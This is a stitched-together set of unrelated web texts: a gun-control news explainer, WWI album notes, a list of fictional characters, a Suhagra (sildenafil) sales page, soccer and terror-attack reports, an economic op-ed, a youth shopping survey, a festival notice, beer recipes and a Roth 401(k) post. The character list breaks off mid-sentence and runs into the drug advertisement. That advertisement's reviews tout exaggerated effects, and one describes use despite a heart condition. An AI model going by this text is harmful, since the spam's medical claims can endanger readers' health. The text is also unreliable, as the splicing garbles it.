President Barack Obama addresses the nation from the Oval Office at the White House in Washington, Sunday night, Dec. 6, 2016. The address comes as recent attacks in Paris and California have raised concerns that the U.S. and other countries aren't doing enough to prevent terror attacks. (Saul Loeb/Pool Photo via AP)
President Barack Obama is set to
to discuss options related to gun control. It's a meeting that's been in the works for a while, with the president signaling on several occasions he plans to take executive action to crack down on gun violence.
What will that action include and how it affect firearm owners, sellers and buyers? Here are the basics:
What we can expect?
The exact details of any executive action aren't known but the president has repeatedly mentioned he'd like to cut the number of gun transactions that are able to be made without a background check. Currently, only sales made by federally licensed gun dealers require a background check. This means some transactions made at gun shows, online or by private parties don't require a background check. Obama has signaled he'd like to change the definition of a licensed gun dealer to require more people to undergo a background check before purchasing a firearm, including possibly setting a number of transactions that could be made by year without being classified as a licensed dealer.
So you're talking about the "gun-show loophole" right?
Yes. It's expected any executive order would look to tighten the loophole. Currently, federal law allows people to sell guns from their own "personal collections" without background checks and it's the definition of "personal collections" that has been expanded -and debated - since the original firearms regulation laws were passed in 1968. Eliminating those sales entirely may be impossible, but an executive action would likely make it more difficult.
Anything else?
In the past, the president said he'd like to see restrictions on the sale of assault rifles and some ammunition and prohibiting anyone on the terrorist watch list from purchasing a firearm. It's also expected the president will strengthen requirements for reporting a gun that's been stolen or lost.
Why now?
The push towards additional limitations on firearm purchases isn't new. In the wake of the Sandy Hook shootings three years ago, the president issued a series of executive orders with some new gun control regulations and pushed for more. Congress rebuffed those efforts but Obama has brought up the topic numerous times since then. Following the October shootings at an Oregon community college, Obama said he asked his advisors to look for firearms control measures he could take on his own through executive action.
Supporters of the measure
Gun control advocates said closing the loophole would help keep firearms out of the hands of those who aren't allowed to have them. Federal law prevents felons, those in the country illegally, some drug users, those with some mental illnesses and people convicted of domestic violence from owning a firearm. In Alabama in 2014, there were 621,305 background checks of those wanting to make firearm purchases.
Opponents of the idea
Second amendment advocates are loath to see any measures that could restrict gun ownership. The National Rifle Association and the Republican-led Congress will fight the measure, with GOP presidential candidates already using it as rallying point headed into the 2016 election. The NRA is expected to lead the fight.
"President Obama failed to pass his anti-gun agenda though congress because the majority of Americans oppose more gun-control. Now he is doing what he always does when he doesn't get his way, which is defy the will of the people and issue an executive order," NRA spokesperson Jennifer Baker said.
"The plain truth is that President Obama's gun-control agenda will only make it harder for law-aiding citizens to exercise their constitutional right to self-protection. It will not stop criminals."
What about Congress?
Congress has rebuffed previous attempts by the Obama administration to enact increased gun control measures, including a 2013 push for universal background checks. Even the mention of increase firearm regulations and any possible forthcoming action has many taking aim at the idea of an executive order. One thing to remember: Congress can't undo an executive order, however, a new president could.
Timing?
The president is returning from his Hawaii vacation today. He's expected to meet with Lynch in the coming week. Obama's final State of the Union speech is set for Jan. 12 and the Iowa caucuses take place Feb.1, giving the administration a short timeframe for any action.Album Notes
After millions of people had died, World War One was later referred to as "the war to end all wars", and it is on behalf of the men and women (and their loved ones) who bravely fought many battles on many levels and on many fronts that we honour their sacrifice with this album of solemn and sincere remembrance. Lest we forget.
The album features popular compositions, such as "Keep The Home Fires Burning" and "Danny Boy", as well as several that were penned as poems by soldiers serving on The Western Front, in a brief moment of solace and quiet reflection, while likely crouched in a muddy trench. Overall, the album takes the listener on a journey from the patriotic tunes that stirred men young and old to volunteer and fight, to those that recall their passing and doing their duty without remorse for King and Country.
Sacrifice and Solace, which its producers envision will be the first of a series of similar albums, was recorded at the acoustically perfect West Toronto Masonic Temple by an eight-piece all-male ensemble, handpicked for their known professionalism within the classical music industry and, simply, the quality of their voices, who were expertly conducted by Lynn Dalal.
As opposed to choirs today who sing the standards from Bach to Brahms and Beethoven, or in Latin, these new pieces will resonate among fans of classical music and also fans of history. The messages contained in these songs are poignant and will help keep alive the memory of those who fought "The Great War" over a hundred years ago for generations to come.Coolness doesn't win a single battle. And often, the coolest heroes and villains are too busy standing around posing and looking awesome to get the frickin job done. Meanwhile, sometimes the total dorks are the ones who kick the most butt when it counts.
Here are the 10 dorkiest characters from science fiction and fantasy — who could mop the floor with Darth Vader.
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1. Squirrel Girl
You wouldn't think a cute girl with a prehensile tail, the ability to talk to squirrels and a habit of breaking the fourth wall would be one of the great powers of the Marvel Universe, but you'd be very, very wrong. In her first appearance, after being rejected as a sidekick, she goes onto save Iron Man from the clutches of Dr. Doom by summoning a swarm of squirrels to take out Doom's ship. But maybe that was just a fluke? Nah. This unlikely heroine has defeated Dr. Doom, the Mandarin, Giganto, MODOK, Thanos (the real Thanos — not some clone or copy), Terrax, the Bug–Eyed Voice, the Bi-Beast (with Ben Grimm), Deadpool (twice), Pluto, Fin Fang Foom, Baron Mordo, Korvac, Ego the Living Planet, and Wolverine. She even had to quit the Great Lakes Avengers, because she was holding them back: Instead of rising to greatness the team would sit around waiting for her to do all the defeating. This is one mutant whose bad side you don't want to get on — or she and her side-kick squirrel, Tippy-Toe, might have to take you out.
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2. Sandal
The idiot savant, Sandal, with his ability to enchant equipment, is a definite aid in the Warden's quest in Dragon Age: Origins and Hawke's rise to power in Dragon Age 2. But Sandal's limited vocabulary and seeming simplicity hide an unknown but staggering ability that is only hinted at the games. The dwarf merchant, Bodahn, found Sandal wandering around the deep roads alone as a boy and took him in as a son. Considering that the deep roads is where wardens go to die and large expeditions are destroyed, the fact that a dwarf boy could survive alone is pretty telling. While the player never sees Sandal in action, twice you come across him standing peacefully, if blood spattered, in scenarios that should have spelled certain brutal death. When you ask what happened, his only reply is his gleeful refrain, "Enchantment!"
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3. Tom Bombadil
Tom Bombadil's figure is not one that would inspire awe in anyone wandering around J.R.R. Tolkien's Middle Earth. He is fat and merry, with the habit of speaking and singing in stressed-time metre. He also narrates his own actions in the third person, and spouts lines like "Hey dol! merry dol! ring a dong dillo! Ring a dong! hop along! fal lal the willow! Tom Bom, jolly Tom, Tom Bombadillo!" Tolkien based his appearance on a Dutch doll, so he can't be too physically intimidating. And yet, Tom is a complete badass — who's immune to the One Ring's powers. Which might make him a good candidate for keeping the ring, right? Except that he has so little concern over the struggle of transient mortals, Gandalf fears he would simply misplace the ring not understanding its importance. The fat little singer appears to be so powerful or perhaps just so ancient that the epic struggle against Sauron doesn't amount to much in the grand scheme of things.
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4. Happosai
The founder and Grandmaster of Anything Goes Martial Arts is a disgusting, panty stealing pervert, who causes no end of trouble in Ranma ½. His wizened gnome-like body, great age and bald head make his cocky and outrageous behavior seem like an open invitation for a stern lecture, and maybe a trip to an old folks' home. Instead he's moved himself into his protégées' dojo, where he heaps abuse and embarrassment on them with his panty thieving and attempts to cop a feel and take pictures of their daughters. So why do they put up with this ridiculously tiny and seemingly frail old man? Because he can kick the collective ass of everybody in the house, all coming at him at the same time. That is pretty impressive since the series harps upon the martial prowess of Ranma, Genma, and Soun. He also appears to be pretty much immune to physical damage as he shakes off any sucker punches thrown at him — he is easily distracted by women — and surviving his apprentices' attempt to blow him up with a box of dynamite.
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5. Nibbler
It is extremely hard to get respect when wearing a diaper and cape. When Leela first encounters Nibbler and adopts him as a pet, he appears to be a sweet an innocent beast that cowers behind her for protection as Fry and Bender make barbeque plans. Of course, his vulnerability is immediately brought into question when he devours a ship load of giant, massive-toothed animals. Apparently this is all a ruse, since he's later revealed to be a Nibblonian, an ancient and powerful race that protects the universe through mysterious powers. Nibbler himself is over 3,000 years old. Nibbler orchestrated Fry being cryogenically frozen, so he could save the Earth from the Brainspawn. After that adventure, he erases the memories of the crew to protect his secret identity. Another time when he saves the world from rogue cats with Amy, he doesn't bother brain-wiping the crew — he just goes back to being a pet. In essence, one of the wisest and most ancient centurions of the universe is living as a pet and using a litter box.
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6. Fizban the Fabulous
Fizban is a barely tolerated annoyance to most of the Companions of the Lance and a delight to the Kender, Tasselhoff Burrfoot. In the Chronicles trilogy, the original Dragonlance novels, Fizban appears as a bumbling but kind-hearted mage, who might be extremely powerful if he could just remember the correct words to his spells. His inability to keep track of his hat on his own head seldom inspire confidence in his ability to wield dangerous magics. Despite his incompetent appearance, he always seems to pull something usefully unexpected out at just the right moments, and manages to nudge to group in just the right direction. He is, of course, revealed to be something greater than his old wizard façade. In fact he is the avatar of Paladine, the god of goodness, light and law.
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7. Molly Hayes
Let's face it, we were all hopeless dorks in middle school as we struggled with rebellious bodies, a lack of social skills and a reading list that included Dragonlance (see above). Now imagine all that mixed up with super mutant strength and being on the run from your murdering cult family. Molly Hayes is the youngest member of the Runaways. Excited by the thought of being a super hero she chose the rather dorky and childish codename Princess Power before being dubbed as Bruiser by the rest of the group. With her youth and cute hat collection, which often sports kitty ears, you wouldn't think she'd be much of a threat. But she has been ranked by Marvel as the fourth most powerful female character. When threatened or taken by surprise she has the habit of punching first and asking question later. That is how she has managed to take out both Wolverine and The Punisher.
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8. The Tick
The mere physical presence of the Tick is awkward and embarrassing. A large man posing in a blue, skintight unitard and decked with antenna and a confident smile is disconcerting whether it is in the comic book, the animated cartoon series or the live action series. As a parody to traditional superheroes The Tick is supposed to be buffoonish and over the top, but The Tick slides into surreal territory with his strange metaphors and battle cry of "Spoon!" He is dense and oblivious and |
effect lasts for 4-5 hours. The erection occurs due to natural sexual arousal and lasts up to the ejacuation.
A greater effect can be achieved if the drug is taken on an empty stomach. Suhagra 100 mg does not mix well with alcohol and fat food. Appropriate emotional state and sexual arousal improve the erection.
Analogues
Sildenafil-contaiting drugs are extremely popular to cope with potency problems. Beside Viagra and Suhagra, there are a lot of their analogues to maintain strong erection in men.
One more famous medical drug is Kamagra, produced in pills and gel. Providing there is natural sexual arousal, Kamagra causes erection in 50 minutes after the intake. Next erection can occur in 5 hours after the ejacuation. Since Kamagra is a generic version of Viagra, it has similar action and side effects.
Compatibility with alcohol and medical drugs
A simultaneous intake of Suhagra 100mg and other medical drugs can change the effect on potency. In deciding to start or stop taking any medications always get a consultation with your doctor. This applies both to prescription and non-prescription drugs.
It is highly important not to mix Suhagra with drugs containing nitrates due to potential severe side effects (see above).
If you are treating hypertension or problems with the prostate gland with drugs of alpha-blockers group, your blood pressure may drop significantly. This may result in feeling dizzy and weak.
Reduce the dosage of Suhagra to 1/4 of a pill (25 mg of Sildenafil) if you are taking protease inhibitors. The intervals between the intakes should be at least 48 hours.
Do not take Suhagra if you are already taking any other drugs that cause erection, be it tablets, injections (drugs injected into the penis), or any other medical forms.
Suhagra is incompatible with nitrates, phenytoin, antibiotics, tryptophan, lithium, beta-adrenoblockers.
Excessive alcohol intake is not recommended when using this medical remedy. No more than one glass of wine is allowed.
Reviews
The effect of Suhagra exceeded my expectations. Although it is stated that the erection occurs in one hour after use, in my case it happened in about 10 minutes. Strong erection for about 5 hours is guaranteed with Suhagra.
I was surprised with the low price of this medicine. I used to take Viagra, which is much more expensive. I wanted to try something cheaper, and after a long consideration I chose Suhagra. The result did not disappoint. I felt exactly the same as after Viagra, except for some extra money in my pocket. It doesn’t make much sense to overpay for Viagra, when there are cheaper options with the same actions.
My husband is 46, good health, but a light heart issue. Suhagra or analogues are not recommended in such cases but we decided to try. My husband’s dosage is 50 mg. No difficulties so far (he’s been taking the pills for 1 month). The action lasts longer that stated in the instruction.
I am 42, and for the last couple of months I’ve had a problem of ED. My physician suggested to take medication. Suhagra is available at good price. I found it working for me for 10 hours. I haven’t had any side effects. Highly recommend it if you are in a similar situation.
The effect is overwhelming! My wife is nothing but satisfied.Joshua Mayers is the Seattle Sounders FC writer for The Seattle Times. Watch for his coverage of the team, Major League Soccer and soccer around the world.
November 29, 2011 at 2:28 PM
Posted by Joshua Mayers
In the past few weeks I've received a good number of messages from concerned Sounders FC fans wondering why a new contract for Mauro Rosales hasn't been announced.
Indications throughout the season had been that a deal would be coming sooner rather than later, and the delay has resulted in a little anxiety. Both sides of the contract negotiations have always maintained they were confident that a deal would get done, and that hasn't changed.
Rosales' agent, Dario Sala, told me in an email that everything is in the right place.
Rosales is "very happy with his new contract, and very excited about next season," Sala wrote.
I'd expect the new deal to be announced in the coming weeks. As has been kicked around for several months, the contract is expected to be for two years with a salary worthy of designated player consideration (he could end up not being a DP if allocation money is used).Lyon striker Alexandre Lacazette has given the green light for Juventus to go ahead with a move to sign him this summer, rejecting West Ham and Arsenal in the process.
According to Calciomercato, the idea of playing for the Italian champions is appealing to Lacazette who has been heavily linked with a move away from Lyon this summer.
The Hammers have lodged several bids for the striker already this transfer window, the latest worth a reported £33m but the Ligue 1 side have turned them all down as they stand firm on their £40m asking price.
Arsenal had also been interested in the French international striker, who was omitted from Didier Deschamps’ squad for Euro 2016 despite scoring 23 times last term, but it appears he’s dead-set on a move to Turin.
Talks between the Serie A champions and Lyon have already taken place and news of this has filtered down to Lacazette who’s given the ‘ok’ to his representatives to agree a deal with the Old Lady.
West Ham have already lost out on Michy Batshuayi with the Marseille striker set for a £33m move to Chelsea, and Lacazette remains their number one priority this summer. However, it seems they might have to take their search elsewhere if Juventus press ahead with a deal.The Prime Minister has condemned a terror attack near a London mosque that killed one man and left eight other people in hospital.
Police are searching a house in Cardiff believed to be linked to a 47-year-old man who has been arrested on suspicion of attempted murder after the incident near the Finsbury Park mosque.
A man reportedly drove a white van into worshippers near a mosque.
The van was from a small firm called Pontyclun Van Hire in south Wales. The company said it is “shocked and saddened” by the “cowardly” attack.
The driver has been named locally as Darren Osbourne.
(Image: Carl Court/Getty Images)
(Image: Matthew Horwood)
The van driver, described by witnesses as a large white man, was detained by members of the public after the attack in Seven Sisters Road at 12.20am on Monday.
One witness described being surrounded by bodies in the wake of the incident outside the Muslim Welfare House.
The victims had been breaking the Ramadan fast after worshipping at nearby Finsbury Park mosque.
Theresa May said: ""It was an attack that once again targeted the ordinary and the innocent going about their daily lives - this time British Muslims as they left a mosque having broken their fast and prayed together at this sacred time of year.
She added that "there has been far too much tolerance of extremism over many years".
"It is a reminder that terrorism, extremism and hatred take many forms; and our determination to tackle them must be the same whoever is responsible."On his recent trip to Asia, President Obama found China, Japan and South Korea - like many nations these days - in no mood to hear more American lectures.
Beijing is worried about owning so much American debt. Tokyo is tiring of an American military base in Okinawa, and wants to redefine its relationship with us. Seoul is starting to doubt American commitment to keep it safe from North Korea.
Why all the sudden pushback to our charismatic president?
Our dollar is crashing, while the price of gold is soaring. The budget deficit has never been worse - and the president wants to float even more debt for health-care and energy initiatives.
By the end of this presidential term, we may add another $9 trillion to our already astronomical $11 trillion debt. Unemployment has already topped 10 percent. This quarter's trade deficit reached a near-historic high. Our debtors and oil exporters talk of scrapping the dollar as the common international currency.
American hesitation abroad reflects the shaky economic news. In Afghanistan, we can't decide whether to seek victory or admit defeat -- or simply vote present by keeping the status quo. President Obama reached out to enemies like Mahmoud Ahmadinejad of Iran and Hugo Chavez of Venezuela. But so far they remain unimpressed, despite his apologizing for an assortment of supposed past American sins.
The Chinese don't listen all that much anymore to our sermons on their human-rights, coal-burning and free-trade abuses - not when they hold $1.5 trillion in U.S. assets. The president took a lot of flak for bowing to Saudi royals and the Japanese emperor. But why wouldn't he show deference - given America's huge dependence on foreign oil and Japanese imports?
France, of all nations, is now warning us to get a backbone with the Iranians. So far the theocracy has snubbed our new outreach efforts aimed at stopping its nuclear proliferation. Iran's Russian patrons now talk more nicely to us - but mostly because we caved on land-based missile defense in Eastern Europe, and got nothing really in return.
The Norwegians gave Obama the Nobel Peace Prize after less than a year in office and without any real accomplishments. They must suspect that such global recognition will flatter Obama to push a now-unexceptional America toward a more multilateral perspective in tune with the thinking at the United Nations.
The Obama administration announced a kinder, gentler approach to the war on terror. It serially promised to the world to shut down Guantanamo and loudly derided much of the Bush-era anti-terrorism protocols. We may put on trial former CIA interrogators, while we give civil trials and full American legal protection to the terrorist detainees who planned the 9/11 attacks.
Obama himself has praised the history and culture of the Islamic world, and even fudged the historical record to magnify its achievements.
Yet so far this year authorities broke up three radical Islamic terrorist plots inside the United States. And we lost 12 soldiers and one civilian (with others wounded) at Fort Hood; the accused, a member of our own military, has shown himself to be a Muslim extremist. Al-Qaida promises more attacks, and the Taliban feel that American commitment to a free Afghanistan is weakening.
Add it all up and there is a growing sense that America is in fact hemorrhaging - as both friends and enemies abroad smell blood in the water. The president through conciliation and concession - not to mention constant talk - is trying to superficially restore the influence we once earned by virtue of our economic power and self-confidence in our exceptional past and singular values.
But being both loud and vulnerable is not a winning combination, since political influence and military power are ultimately predicated on economic strength.
The United States needs to re-establish itself as financially credible and responsible so that when we lecture -- about everything from global warming to Iranian nukes -- we do so from a position of strength. That means, we need to stop borrowing other nations' money.
America also can't afford to keep importing high-priced oil that we won't produce at home. And we should stop promising ever more government entitlements to ever more voters that we can't even begin to pay for.
For as we continue in our self-indulgence, a more defiant world seems to be saying that the old rules of the game have changed. In response, America should keep quieter abroad - and try finding a bigger stick.YOUNG Scottish shoppers are belying their image as digital "natives" by preferring to research purchases online before buying them in the traditional way on the High Street.
A poll into the shopping habits of 11-19-year-olds found they reverse the practice of window shopping in stores, then buying items over the internet - so called "showrooming" - which is increasingly alarming retailers.
In the survey, carried out on behalf of Young Scot, 75% of those questioned said they preferred to buy clothes, DVDs and other items in shops or other venues rather than on websites. However, 73% said they would often research items online first.
Follow-up focus groups heard from young people that they saw shopping as a social activity and malls and city centres as safe places to hang out with their peers.
Meanwhile, reasons given for reluctance to shop online included concern that electrical items might be damaged in the post and clothes bought unseen were a hassle to return if they turned out to be unwanted or a bad fit.
Young Scot surveyed 542 users of its card, which is offered to every child of secondary school age in Scotland. Children's Minister Aileen Campbell will speak at an event tomorrow to mark the issuing of 500,000 of the cards since 1985, when the scheme was launched.
The cards provide free services and offers to holders, including discounts at 1400 outlets across the country, travel discounts, proof of age and access to council libraries, leisure and cashless catering in many schools.
The results showed most of those responding had very limited disposable income, with 75% having less than £1.50 a day to spend and 50% less than £1.
Not surprisingly, 53% said price was the most important factor in their spending decisions, while 12% said big name brands were important - although shoppers generally under-report their reliance on brands in decision making.
The survey found 65% of the respondents said parents were the primary source of income, while 11% got their money mainly from work and 6% from educational maintenance allowance.
Young Scot said it would use the date to offer discounts that were better targeted at the needs and interests of their card holders.
The charity, which is backed by local councils and the Scottish Government, also offers a rewards scheme that allows children to earn points.
Rewards and entitlements director David McNeill said the level of disposable income reported by young people was not surprising and in line with other surveys of pocket money for children of school age. "Those who are working have slightly more money available, and the main difference with them was that they wanted discounts on travel ahead of things such as entertainment," he said.
In some cases disposable income did not have to cover clothing, which was seen as additional and supplied by parents or guardians, he added.
"Clothes and fashion was a key area all groups wanted discounts for and then entertainment, such as going out to the cinema. Young people also wanted discounts on shopping for films and music.
"The value young people place on shopping at real world retailers is interesting, and young people also told us 75% would prefer to shop with a retailer that offered them a discount, while 56% said they would feel a shop was more interested in them as a customer if it offered them a discount."
Young Scot cards are already used for some travel discounts, but the scheme is working with Transport Scotland and bus companies to negotiate a scheme to enable those taking part in employment programmes to travel free by presenting their card.Saturday’s 12th annual Daikon Festival at the Honbushin International Center in Mililani offers families the opportunity to dig up daikon, sample different dishes containing daikon and other foods, and participate in the community festival built around gratitude.
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Saturday’s 12th annual Daikon Festival at the Honbushin International Center in Mililani offers families the opportunity to dig up daikon, sample different dishes containing daikon and other foods, and participate in the community festival built around gratitude.
“The Daikon Festival is about sharing God’s blessing, or nature’s blessing, because thanks to these blessings, we are able to grow food,” said Yuhi Yamasaki, event coordinator.
Honbushin International Center presents a modern interpretation of the ancient Shinto religion of Japan.
12TH ANNUAL DAIKON FESTIVAL Where: Honbushin International Center
When:10 a.m.-2 p.m. Saturday
Cost: Free admission
Info: 623-7693, honbushin.us
Why revolve a festival around the long, mild white radish?
“We are known for our daikon. People come here to buy daikon,” Yamasaki said. But the meaning goes beyond the versatile vegetable.
“Daikon is a strong root” and is symbolic of the strong root within one’s self, the coordinator said.
Given society’s busy lifestyles, many children — and people in general — don’t get to put their hands in the soil, to gain an appreciation of where our food comes from, Yamasaki said.
The center encourages attendees to wear appropriate footwear, sun protection including hats, and to bring gloves for harvesting daikon.
Food booths will offer items for sale, from $2 for a rice ball or something similar, up to $5 for a fried noodle dish, and many choices in between. The church also will be selling pickled daikon, in many varieties.
“We’ll have all new, all different stuff this year,” Yamasaki said.
A vegetable bazaar, small craft booth, live entertainment and cooking demonstrations will round out the event.
“We usually have 600 to 700 people, but it’s been getting popular, little by little,” Yamasaki said.
Even if the festival draws an additional crowd of new daikon hunters, there will be ample parking, she said.Forget wine - beer is our national drink, and it's time we used it more often in our cooking
Our island is built on wheat and barley, in the form of bread and beer. And although we think of bread as the staff of life, for centuries beer was no less important. When a glass of water could mean a dose of typhoid, farm labourers and urban workers alike slaked their thirst with ale. For them, beer wasn't just a drink. At the end of a long shift or a back-breaking day in the fields, they saw it as nutritious and vital, as well as thirst-quenching. Beer was the smoothie of the pre-industrial age.
Given its place in our history, and in our hearts, it's strange that in the kitchen we usually pass over our native drink in favour of wine. We've gone a long way towards shaking off our national culinary inferiority complex, and it's time we took beer with us on our onward mission. We make some of the finest beers in the world - OK, the finest - and as a cooking medium it is less acidic but more distinctly flavoured than wine. Next time you steam some mussels, forget white wine and add a light beer along with the garlic and herbs.
In truth, beer can do pretty much all the things in the kitchen that we usually ask of wine: deglaze a pan, marinade a piece of meat, add body and flavour to everything from casseroles to cakes. Darker beers and stouts are natural companions to meat, particularly beef. Try this week's stew, or any one of the many recipes for beef carbonnade, the classic beef and onion stew from that corner of Belgium where, in fairness, they also know a thing or two about beer. A ham can be cured in beer, cooked in beer and even glazed in beer. For the latter, stir light brown sugar, a pinch or two of mace and a tablespoon of mustard powder into a thick paste with a dark, malty beer and smother the criss-crossed fat with it before baking.
Then there is cheese. I hardly need to tell you that beer is great to quaff with cheese, but it's also great when you're cooking with cheese. I hope last week's Welsh rarebit recipe proved that point, but you can also add a good dash of ale to the sauce for macaroni cheese or even to a cheese soufflé.
It's not so surprising that the savoury, bitter edge of many beers adds something to gutsy savoury dishes. But you can exploit its malty elements in sweety, treaty baking, too. A stout fruit cake is classic, and some of the best Christmas pudding recipes use stout. I even add a good slug of Guinness to chocolate brownies (see recipe overleaf).
Beer is brilliant in batters. It not only adds a good, toasty flavour, but also acts as a raising agent, helping the batter to puff up pleasingly for outstanding crispness. It's perfect for chip shop-style fish, of course, and also works beautifully for apple fritters - use the same recipe as for our fish below, but instead of seasoning with salt and pepper, sweeten with a teaspoon of sugar.
Pollack in beer batter
The beer adds lightness and flavour to the batter. Many recipes say to rest batter before using, but we had better, lighter, crispier results using it straight away, before the beer lost its bubbles. This is also a great way to prepare squid rings. Serves four.
200g plain flour, plus a little extra for dusting the fish
Groundnut oil, including plenty for deep frying (about 2 litres)
About 290ml good beer (anything but cheap lager), very cold
Salt and ground black pepper
About 700g pollack fillets (or mixed white fish of your choice)
Sift the flour into a bowl, add two tablespoons of groundnut oil, then gradually whisk in the beer, stopping when you have the consistency of thick emulsion paint. Beat to get rid of any lumps, then season generously.
In a large, deep, heavy-based pan, heat the oil to 190C, or until a cube of bread dropped in turns golden brown in one and a half to two minutes. Season the fish, then dust lightly with flour, shaking to remove any excess. Immerse a piece of fish in the batter, then lift it out and hold over the bowl for a few seconds to let excess batter drop back in. Lower the fish into the hot oil a piece at a time if using large portions, or in small batches for smaller pieces. Fry large pieces of fish for four to five minutes, smaller ones such as squid rings for two minutes or so, until golden brown and crisp. Scoop out with a wire basket or tongs, and transfer to a warmed dish lined with kitchen paper. Keep warm while you fry the remaining fish, then serve.
Beef in ale stew
This simple dish shows that you don't need a vast list of ingredients to create rich, rounded depth of flavour. Serve with dumplings (recipe follows), mash - or both. Serves six.
50g butter (or dripping)
250g salt pork, pancetta or slab bacon, cut into 2.5cm cubes
500g white onions, peeled, halved and sliced
1.5kg chuck or stewing beef, or shin (boneless weight), cut into large chunks of about 4cm
Up to 50g plain flour
Salt and ground black pepper
500ml good ale
500ml good beef stock
2 bay leaves
A few parsley stalks
Heat the butter in a large frying pan over medium-high heat and brown the pancetta until the fat runs. Transfer to a casserole. Reduce the heat to low and in the same pan gently fry the onions, stirring occasionally, until soft and starting to turn golden - about 15 minutes. Transfer to the casserole. Toss the beef in seasoned flour, shaking off any excess, and in the same pan brown the meat in batches. Transfer it to the casserole when nicely coloured on all sides.
Pour some ale into the pan to deglaze, making sure you scrape up the tasty bits stuck to the bottom, then tip into the casserole. Pour the rest of the ale and stock over the meat, adding a little water if needed to cover the meat. Add the herbs, tied into a bouquet garni, and season. Bring to a boil, then simmer very gently, partially covered, for two and a half hours for chuck/stewing steak, three for shin, until the meat is really tender - do this on a hob or in a very low oven (120C/235F/gas mark ½). Add hot water if the meat gets exposed and starts to dry out. If you're making the dumplings, add to the stew for the last 45 minutes.
Herb dumplings
When we made these, we forgot to add the breadcrumbs and ended up with a really light and delicious dumpling. So it's up to you - for an airy dumpling, omit the breadcrumbs; for a rib-sticking affair, keep them in. Makes 12.
115g self-raising flour
115g fresh white breadcrumbs
115g suet
1 small bunch chives, finely chopped
1 small bunch parsley, finely chopped
A few thyme sprigs, leaves picked and finely chopped
Salt and ground black pepper
2 eggs, lightly beaten
Mix the flour, breadcrumbs, suet, herbs and some seasoning in a large bowl. Pour three-quarters of the egg into the bowl and stir to form a soft dough. Use your hands to work it until smooth - add the rest of the egg if it seems too dry. Divide the dough into 12 dumplings, drop into the stew and cook, covered, for 45 minutes.
Guinness and walnut chocolate brownies
A dark, intense and very grown-up treat - if you normally find brownies cloyingly sweet, these are the ones to convert you. Makes 16.
145g plain flour
80g unsweetened cocoa, plus a little extra for dusting
½ tsp salt
220g dark chocolate, around 70%, broken into small pieces
90g unsalted butter, cubed, plus a little extra for greasing
80g light Muscovado sugar
80g dark Muscovado sugar
4 eggs (at room temperature)
225ml bottled stout (ie, Guinness)
165g walnuts, in large pieces
Preheat the oven to 170C/325F/ gas mark 3. Grease a 23cm x 30cm x 5cm baking tin with a little butter, then dust with a little cocoa. Sift the flour, cocoa and salt into a bowl. Melt the butter and chocolate in a bowl over a pan of barely simmering water. Remove from the heat and tip the sugars over the top. Leave for two minutes, then stir. Beat in the eggs one at a time until you have a gorgeously glossy mixture. Stir in the stout, then fold in the flour, cocoa and two-thirds of the walnuts until just combined - don't overmix. Pour into the tin and sprinkle over the remaining walnuts. Bake for 25 minutes until just set in the middle - a skewer should come out with a few moist crumbs clinging to it. Leave to cool in the tin for 30 minutes before cutting into squares.
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For a while now on this site you've heard me extolling the virtues of the Roth IRA, talking about how I think it should be a part of any person's investment plan, and how it's a great tool to help diversify your retirement savings. When I have written the posts I've mostly focused on the Roth IRA because that's the main avenue we've taken part in for our own investing. We would have liked to invest more, but some unforeseen (and foreseen – the baby) medical events in the past couple of years have kept us from investing too much.
Now that we're starting to have a bit more free money to save and invest we're looking more at the options we have available to us. My company recently made some changes to the company 401(k)plan moving to a new plan administrator. With the move we're going to have a lot better low cost investing options in our plan with some good index funds from Vanguard now available, as well as there now being a completely new Roth 401(k)option.
Because we now have more and better choices our investing path will be slightly different. Here's what we'll be doing now:
Invest in Roth IRA to max : First, we would like to invest in our Roth IRA to the max of $5000 per investor. So that means $5000 for each of us, my wife and I. Little Carter has no earned income so he'll have to wait. :)
: First, we would like to invest in our Roth IRA to the max of $5000 per investor. So that means $5000 for each of us, my wife and I. Little Carter has no earned income so he'll have to wait. :) Invest in company 401(k) & Roth 401(k)to max : Next we’ll be investing in my company 401(k)and Roth 401(k)to the max. For 2011 that means a combined total of $16,500.
: Next we’ll be investing in my company 401(k)and Roth 401(k)to the max. For 2011 that means a combined total of $16,500. Investing in taxable accounts: Next we would be investing in taxable investments, most likely through an account with Betterment.com, ING Direct Investing or one of the other discount online brokerages. That may not be happening much this year since we're also trying to save for a down payment for a house.
The History Of The Roth 401k
From Wikipedia:
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The Roth 401(k) is a type of retirement savings plan. It was authorized by the United States Congress under the Internal Revenue Code, section 402A,[1] and represents a unique combination of features of the Roth IRA and a traditional 401(k) plan. As of January 1, 2006 U.S. employers have been free to amend their 401(k) plan document to allow employees to elect Roth IRA type tax treatment for a portion or all of their retirement plan contributions. The same change in law allowed Roth IRA type contributions to 403(b) retirement plans. The Roth retirement plan provision was enacted as a provision of the Economic Growth and Tax Relief Reconciliation Act of 2001 (EGTRRA 2001).
Roth 401(k) Contribution Limits
The Roth 401(k) is subject to the same contribution limit as the regular 401(k). For 2011 that means there is a contribution limit of $16,500. If you are 50 or older the limit is bumped up to $22,000.
Note: The Roth 401(k) and the regular 401(k) are subject to the same contribution limit. In other words the total contribution for both account types is $16,500. You can't contribute $16,500 to one account and then an additional $16,500 to the other. So the Roth 401(k) offers no new opportunity to invest, just the opportunity for a different tax treatment than the regular 401k.
Roth 401(k) Withdrawals
I would never suggest taking money out of a retirement plan before you actually retire, but in some cases of hardship and so forth it may be necessary. Here are the rules for taking distributions from your Roth 401k(k) account.
Qualifying Distributions
In order to withdraw your money without tax penalties you need to have had the account for at least 5 years as well as being at least 59½ or disabled. Required minimum distributions begin at age 70 1/2, unlike the Roth IRA which has no RMD.
Non-Qualifying Distributions
If you need to take the money out for other reasons and you don't meet the above criteria (5 year account/59.5 years), then you will see penalties. For the Roth 401(k) you have to report taxable income in proportion to the account's earnings when you take a distribution.
For example, if 70% of the money in the account is from your contributions and another 30% is from earnings, your distribution will be 30% subject to taxes and penalties even if the amount you withdraw is less than the amount of your contributions. This sets it apart from the Roth IRA which allows tax free withdrawals of your contributions at any time. So again, there will be a 10% penalty and the regular tax rate charged on the proportion of your early withdrawal that is attributable to earnings.
The situations where you can take a non-qualified distribution are limited, so seek tax advice when heading down that road.
Benefits Of Roth 401k
The Roth 401(k) has several benefits that should be noted.
Higher contribution limits than the Roth IRA : While the Roth 401(k) has the same after tax contributions, it has a higher contribution level than the Roth IRA which tops out at $5000/year.
: While the Roth 401(k) has the same after tax contributions, it has a higher contribution level than the Roth IRA which tops out at $5000/year. Rollover option: If you leave a company you can roll a Roth 401(k) directly over into a Roth IRA.
